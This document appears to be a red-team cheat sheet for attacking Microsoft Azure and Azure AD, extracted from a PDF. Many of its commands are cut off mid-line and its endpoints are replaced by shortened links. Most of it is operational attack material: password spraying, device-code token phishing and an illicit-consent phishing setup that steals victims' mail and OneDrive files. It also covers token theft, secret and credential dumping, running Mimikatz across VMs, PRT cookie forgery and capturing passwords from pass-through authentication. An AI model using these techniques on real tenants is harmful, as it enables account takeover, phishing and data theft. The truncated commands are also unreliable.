Cloud Azure Pentesting 1695490120
Cloud Azure Pentesting 1695490120
Cloud Azure Pentesting 1695490120
PENETRATION
TESTINGIN
MICROSOFT
AZURE Azure
Summary
## Connects on your Azure account using the refresh token provided and the tenan
## and collects every possible objects in contoso.microsoft.com. Results are sto
./azurehound -r $rt --tenant "contoso.onmicrosoft.com" list -o azurehound-scan.j
## Sets configuration file with connection variables and other things (not requi
./azurehound configure
## Collects every objects on all accessible tenants using username/password and
./azurehound -u "MattNelson@contoso.onmicrosoft.com" -p "MyVerySecurePassword123
## Collects every objects on a specific tenant using username/password and store
./azurehound -u "phisheduser@contoso.onmicrosoft.com" -p "Password1" list -o ini
## Collects every objects on all tenants accessible using Service Principal secr
./azurehound -a "6b5adee8-..." -s "<secret>" --tenant "contoso.onmicrosoft.com"
## Collects AzureAD info (all except AzureRM info) using JWT access token
./azurehound -j "ey..." --tenant "contoso.onmicrosoft.com" list az-ad
## Collects every users using refresh token
./azurehound -r "0.ARwA6Wg..." --tenant "contoso.onmicrosoft.com" list users
# List of collections
az-ad: Collect all information available at the AzureAD tenant level. In most te
az-rm: Collect all information available at the AzureRM subscription level. User
# GUI access
bolt://localhost:7687
Username: neo4j
Password: BloodHound
. .\BARK.ps1
$MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@
$MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshToken
$MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgr
pipenv shell
roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-ap
roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa]
roadrecon auth -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
roadrecon gather
roadrecon gui
Azure/StormSpotter - Azure Red Team tool for graphing Azure and Azure Active Directory
objects
# session 1 - backend
pipenv shell
python ssbackend.pyz
# session 2 - frontend
cd C:\Tools\stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# session 3 - collector
pipenv shell
az login -u test@<TENANT NAME>.onmicrosoft.com -p <PASSWORD>
python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli
# You should use an account with at least read-permission on the assets you want
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -Expor
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
NetSPI/MicroBurst - MicroBurst includes functions and scripts that support Azure Services
discovery, weak configuration auditing, and post exploitation actions such as credential
dumping
cyberark/SkyArk - Discover the most privileged users in the scanned Azure environment -
including the Azure Shadow Admins.
Require:
# Require az module !
$ ipmo .\PowerZure
$ Set-Subscription -Id [idgoeshere]
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDet
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "who
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
Microsoft Applications ID
Name GUID
$body = @{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"resource" = "https://tinyurl.com/vuvynoa" # Microsoft Graph API
}
$UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KH
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://tinyurl.com/23elhvu6" `
-Headers $Headers `
-Body $body
$authResponse
$body=@{
"client_id" = "1950a258-227b-4e31-a9cf-717495945fc2"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
$Tokens = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://tinyurl.com/23lgtj3v" `
-Headers $Headers `
-Body $body
$Tokens
Terminology
Basic Azure AD terminologies
Training
Enumeration
Validate email
Password spraying
PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1
PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password <PASSWORD> -Verbos
PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1
PS> Invoke-EnumerateAzureSubDomains -Base <TENANT NAME> -Verbose
Subdomain Service
--------- -------
<TENANT NAME>.mail.protection.outlook.com Email
<TENANT NAME>.onmicrosoft.com Microsoft Hosted Domain
Enumerate tenant with Azure AD Powershell
Import-Module C:\Tools\AzureAD\AzureAD.psd1
Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1
PS> $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
PS> $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME
PS Az> Connect-AzureAD -Credential $creds
PS Az> Get-AzResource
PS Az> Get-AzRoleAssignment -SignInName test@<TENANT NAME>.onmicrosoft.com
PS Az> Get-AzVM | fl
PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
PS Az> Get-AzFunctionApp
PS Az> Get-AzStorageAccount | fl
PS Az> Get-AzKeyVault
Enumerate manually
Federation with Azure AD or O365
https://tinyurl.com/25prx3ff
https://tinyurl.com/25mcr9sj NAME>.onmicrosoft.com&xml=1
https://tinyurl.com/23cuvzk8
https://tinyurl.com/2c6jkclw NAME>.onmicrosoft.com/.well-known/openid-configurat
Enumeration methodology
# Enumerate resources
PS Az> Get-AzResource
The attacker creates an Azure-registered application that requests access to data such as
contact information, email, or documents. The attacker then tricks an end user into granting
consent to the application so that the attacker can gain access to the data that the target
user has access to.
Register Application
1. Login to https://tinyurl.com/ycon5epg > Azure Active Directory
2. Click on App registrations > New registration
3. Enter the Name for our application
4. Under support account types select "Accounts in any organizational directory (Any Azure
AD directory - Multitenant)"
5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application
that we will host for hosting our phishing page. Make sure the endpoint is
https://<DOMAIN/IP>:<PORT>/login/authorized .
Configure Application
1. Click on Certificates & secrets
2. Click on New client secret then enter the Description and click on Add.
3. Save the secret's value.
4. Click on API permissions > Add a permission
5. Click on Microsoft Graph > Delegated permissions
6. Search and select the below mentioned permissions and click on Add permission
Contacts.Read
Mail.Read / Mail.ReadWrite
Mail.Send
Notes.Read.All
Mailboxsettings.ReadWrite
Files.ReadWrite.All
User.ReadBasic.All
User.Read
Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache
Edit C:/xampp/htdocs/yourvictims/index.php if needed
Disable IP whitelisting $enableIpWhiteList = false;
Go to 365-Stealer Management portal > Configuration (https://tinyurl.com/27mdfaf8)
Client Id (Mandatory): This will be the Application(Client) Id of the application that we
registered.
Client Secret (Mandatory): Secret value from the Certificates & secrets tab that we
created.
Redirect URL (Mandatory): Specify the redirect URL that we entered during registering
the App like https://<Domain/IP>/login/authorized
Macros Location: Path of macro file that we want to inject.
Extension in OneDrive: We can provide file extensions that we want to download from
the victims account or provide * to download all the files present in the victims
OneDrive. The file extensions should be comma separated like txt, pdf, docx etc.
Delay: Delay the request by specifying time in seconds while stealing
Create a Self Signed Certificate to use HTTPS
Run the application either click on the button or run this command : python 365-
Stealer.py --run-app
--no-ssl : disable HTTPS
Setup Vajra
Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the
target's Azure environment. It features an intuitive web-based user interface built with the
Python Flask module for a better user experience. The primary focus of this tool is to have
different attacking techniques all at one place with web UI interfaces. -
https://tinyurl.com/25gnchc5
Mitigation: Enable Do not allow user consent for applications in the "Consent and
permissions menu".
Exploitation:
Most of the time, you want a token for one of these resources:
https://tinyurl.com/2actldmf
https://tinyurl.com/22ehmojo
https://tinyurl.com/vuvynoa
https://tinyurl.com/25y92tln
Then query the Azure REST API to get the subscription ID and more .
$Token = 'eyJ0eX..'
$URI = 'https://tinyurl.com/25y92tln/subscriptions?api-version=2020-01-01'
# $URI = 'https://tinyurl.com/vuvynoa/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
print("[+] Management API")
cmd = 'curl "%s?resource=https://tinyurl.com/25y92tln/&api-version=2017-09-01" -H se
val = os.popen(cmd).read()
print("Access Token: "+json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
import logging, os
import azure.functions as func
Get Tokens
:warning: The lifetime of a Primary Refresh Token is 14 days!
Use Tokens
Tokens contain all the claims including that for MFA and Conditional Access
Az Powershell
AzureAD
Import-Module C:\Tools\AzureAD\AzureAD.psd1
$AADToken = 'eyJ0…'
Connect-AzureAD -AadAccessToken $AADToken -TenantId <TENANT-ID> -AccountId <ACCO
Refresh Tokens
https://tinyurl.com/28tjojxn
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimi
Lantern.exe mdm --joindevice --accesstoken (or some combination from the token p
Lantern.exe token --username <Username> --password <Password>
Lantern.exe token --refreshtoken <RefreshToken>
Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---usern
https://tinyurl.com/2abk6sfx
Import-Module .\TokenTactics.psd1
CommandType Name Version So
----------- ---- ------- --
Function Clear-Token 0.0.1 To
Function Dump-OWAMailboxViaMSGraphApi 0.0.1 To
Function Forge-UserAgent 0.0.1 To
Function Get-AzureToken 0.0.1 To
Function Get-TenantID 0.0.1 To
Function Open-OWAMailboxInBrowser 0.0.1 To
Function Parse-JWTtoken 0.0.1 To
Function RefreshTo-AzureCoreManagementToken 0.0.1 To
Function RefreshTo-AzureManagementToken 0.0.1 To
Function RefreshTo-DODMSGraphToken 0.0.1 To
Function RefreshTo-GraphToken 0.0.1 To
Function RefreshTo-MAMToken 0.0.1 To
Function RefreshTo-MSGraphToken 0.0.1 To
Function RefreshTo-MSManageToken 0.0.1 To
Function RefreshTo-MSTeamsToken 0.0.1 To
Function RefreshTo-O365SuiteUXToken 0.0.1 To
Function RefreshTo-OfficeAppsToken 0.0.1 To
Function RefreshTo-OfficeManagementToken 0.0.1 To
Function RefreshTo-OutlookToken 0.0.1 To
Function RefreshTo-SubstrateToken 0.0.1 To
Stealing Tokens
Get-AzurePasswords
Import-Module Microburst.psm1
Get-AzurePasswords
Get-AzurePasswords -Verbose | Out-GridView
# Add secrets
PS > . C:\Tools\Add-AzADAppSecret.ps1
PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose
Blobs - *.blob.core.windows.net
File Services - *.file.core.windows.net
Data Tables - *.table.core.windows.net
Queues - *.queue.core.windows.net
Enumerate blobs
PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1
PS > Invoke-EnumerateAzureBlobs -Base <SHORT DOMAIN> -OutputFile azureblobs.txt
Found Storage Account - testsecure.blob.core.windows.net
Found Storage Account - securetest.blob.core.windows.net
Found Storage Account - securedata.blob.core.windows.net
Found Storage Account - securefiles.blob.core.windows.net
SAS URL
Use Storage Explorer
Click on Open Connect Dialog in the left menu.
Select Blob container.
On the Select Authentication Method page
Select Shared access signature (SAS) and click on Next
Copy the URL in Blob container SAS URL field.
:warning: You can also use subscription (username/password) to access storage resources
such as blobs and files.
PS Az> Get-AzResource
PS Az> Get-AzStorageAccount -name <NAME> -ResourceGroupName <NAME>
PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name <NAME> -ResourceG
PS Az> Get-AzStorageBlobContent -Container <NAME> -Context (Get-AzStorageAccount -na
Runbook Automation
Create a Runbook
Microsoft.Compute/virtualMachines/runCommand/action
Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a
subscription as NT Authority\System
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
KeyVault Secrets
# connect
PS> $token = 'eyJ0..'
PS> $keyvaulttoken = 'eyJ0..'
PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff
MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined
machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used
for Azure AD SSO (single sign-on).
# Generate a JWT
PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String(
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNon
eyJ0eXAiOiJKV1QiL...
The <Signed JWT> (JSON Web Token) can be used as PRT cookie in a (anonymous) browser
session for https://tinyurl.com/2cspnu22
Edit the Chrome cookie (F12) -> Application -> Cookies with the values:
Name: x-ms-RefreshTokenCredential
Value: <Signed JWT>
HttpOnly: √
:warning: Mark the cookie with the flags HTTPOnly and Secure .
Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the
victim machine
https://tinyurl.com/29lf8ucr
Intunes Administration
Requirements:
Administrative Unit
Deployment Template
PS Az> Get-AzResourceGroup
PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP
# Export
PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -D
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password
Application Proxy
Application Endpoint
Conditional Access
Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro,
etc)
Bypassing conditional access by faking device compliance
Azure AD
With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with
Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to
leak your entire Active Directory structure thanks to Azure AD.
NTLM/Kerberos OAuth/SAML/OpenID
GPO No GPO's
Domain/forest Tenant
Trusts Guests
Password Spray
Default lockout policy of 10 failed attempts, locking out an account for 60 seconds
# UserList - UserList file filled with usernames one-per-line in the format "user@d
# Password - A single password that will be used to perform the password spray.
# OutFile - A file to output valid results to.
# Force - Forces the spray to continue and not stop when multiple account lockou
# URL - The URL to spray against. Potentially useful if pointing at an API Gat
Azure AD Connect
Check if Azure AD Connect is installed : Get-ADSyncConnector
# Get Token for SYNC account and reset on-prem admin password
PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force
PS > $creds = New-Object System.Management.Automation.PSCredential ("<Username>@<Ten
PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache
PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | s
PS > Set-AADIntUserPassword -SourceAnchor "<IMMUTABLE-ID>" -Password "Password" -Ver
PS AADInternals> Install-AADIntPTASpy
PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords
Requires Requires
Requires code DLL
Tool MSSQL python
execution on target dependencies
locally locally
No (network RPC
ADSyncQuery No Yes Yes
calls only)
Requirements:
Use the script azuread_decrypt_msol.ps1 from @xpn to recover the decrypted password for
the MSOL account:
Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack.
Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer
account AZUREADSSOC is created in the on-prem AD.
Using [https://tinyurl.com/28omyq54) to convert Kerberos tickets to SAML and JWT for Office
365 & Azure
2. AAD logon name of the user we want to impersonate, e.g. elrond@contoso.com . This is
typically either his userPrincipalName or mail attribute from the on-prem AD.
3. SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-
3163778339-1234 .
4. Create the Silver Ticket and inject it into Kerberos cache:
7. Navigate to any web application that is integrated with our AAD domain. Fill in the user
name, while leaving the password field empty.
References
Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack
Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!
Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude -
Jun 9
Azure AD Pass The Certificate - Mor - Aug 19, 2020
Get Access Tokens for Managed Service Identity on Azure App Service
Bypassing conditional access by faking device compliance - September 06, 2020 -
@DrAzureAD
CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course
Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August
28, 2018 - Karl Fosaaen
An introduction to penetration testing Azure - Akimbocore
Running Powershell scripts on Azure VM - Netspi
Attacking Azure Cloud shell - Netspi
Maintaining Azure Persistence via automation accounts - Netspi
Detecting an attacks on active directory with Azure - Smartspate
Azure AD Overview
Windows Azure Active Directory in plain English
Building Free Active Directory Lab in Azure - @kamran.bilgrami
Attacking Azure/Azure AD and introducing Powerzure - SpecterOps
Azure AD connect for RedTeam - @xpnsec
Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020
Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020
Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema
Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020
AZURE AD INTRODUCTION FOR RED TEAMERS - Written by Aymeric Palhière (bak) - 2020-
04-20
Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter
The Art of the Device Code Phish - Bobby Cooke
AZURE AD cheatsheet - BlackWasp